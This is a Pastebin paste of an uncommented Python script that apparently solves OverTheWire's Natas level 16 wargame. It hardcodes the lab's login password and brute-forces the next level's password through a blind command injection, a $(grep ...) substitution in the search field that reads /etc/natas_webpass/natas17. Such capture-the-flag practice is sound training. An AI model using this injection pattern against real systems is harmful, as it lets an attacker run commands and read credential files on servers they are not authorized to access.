Advertisement
Guest User

natas16

a guest
Sep 19th, 2018
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.08 KB | None | 0 0
  1. import urllib.request
  2. import string
  3.  
  4. #variables setup
  5. url = 'http://natas16.natas.labs.overthewire.org'
  6. guess_list = string.digits+string.ascii_letters
  7. username = 'natas16'
  8. password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
  9. natas17_pass = ''
  10. url_hack_format = 'http://natas16.natas.labs.overthewire.org/?needle=%24%28grep+^!@#+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search'
  11.  
  12. #setup
  13. password_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
  14. password_mgr.add_password(None, url, username, password)
  15. handler = urllib.request.HTTPBasicAuthHandler(password_mgr)
  16. opener = urllib.request.build_opener(handler)
  17. urllib.request.install_opener(opener)
  18.  
  19. while(len(natas17_pass) <32):
  20.     for char in guess_list:
  21.         natas17_pass += char
  22.         url_hack = url_hack_format.replace('!@#',natas17_pass)
  23.         print('trying: ' + natas17_pass)
  24.         response = urllib.request.urlopen(url_hack).read()
  25.        
  26.         if len(response) < 1500 :
  27.             print('starts with: ' + natas17_pass)
  28.             break
  29.         else:
  30.             print('not starts with: ' + natas17_pass)
  31.             natas17_pass = natas17_pass[0:len(natas17_pass)-1]
  32.  
  33. while True:
  34.     pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement